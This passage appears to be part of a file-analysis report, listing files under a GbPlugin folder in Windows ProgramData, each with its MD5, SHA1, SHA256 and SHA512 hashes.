SHA1 0bb0258189d67c6acd44dba8d0d5fbd7548b4b39
SHA256 05a08232fd11ec4ae05cec8453d3dee9a02a35d61dc3b97a467991cfb2c94091
SHA512 4e099819e55f99dd886ae4fb6e28355306d4e53ec4ac912ea721007f0e460033d144133f04cb266ff6f3ec66123dc7804dcbe5e644df8f916f52eec467e3dff1

C:\ProgramData\GbPlugin\Cef\spec.gbl.418

MD5 2553272a9e5c57bd9d2f373759943095
SHA1 cf915a2e0b6d0a850eab59b4556bd0b5dc35aebe
SHA256 37a48e87c8d6d0b8065ec5f68587421d15fb07b1b159ee994a070206c05580e1
SHA512 3e22a5b570407a571c90667e053d9ecdcfc8bace03e684f6197d4567a63c6262c74d7d99e133a8ecc0df73357decee94c984504f23668d5ee5f18394e986d243

C:\ProgramData\GbPlugin\Cef\spec.gbl.93.updc

MD5 ed5fc19d9bf93e8c9eb05c52d16b9c4f
SHA1 be84bec406946b2f622c774fafa2d7ac06e4a5a8
SHA256 c070c8e559deec3ff88278629113bf4472f9945b1c2210353eb83c5ed0ce2ec9
SHA512 9257011327b1557098b579d82af22c21883a98e8d2cccdba790cf2ccb1c96251789afeb2e376311df3486788c2751a7221823213fbdbf9bfa3232d436f1cf67f

C:\ProgramData\GbPlugin\Cef\spec.gbl.48

MD5 4d856f473d33beeb5681d23baef25fcf
SHA1 6c63d0ea68aa26496ddf6bb5bd7eb466c19962cf
SHA256 7b05f9a6a052b0e5c30e702c61fed7813370c321a0a6181c5975b9b5e7cc5402
SHA512 231681e697a9a2faece687f4745bc66fd1ae268fb22a17bc104d4204b12738ba76b8deeee4eece70f3b7a3ab20600587662b9f34c366b83d69654b533a2be761

C:\ProgramData\GbPlugin\Cef\spec.gbl.53

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e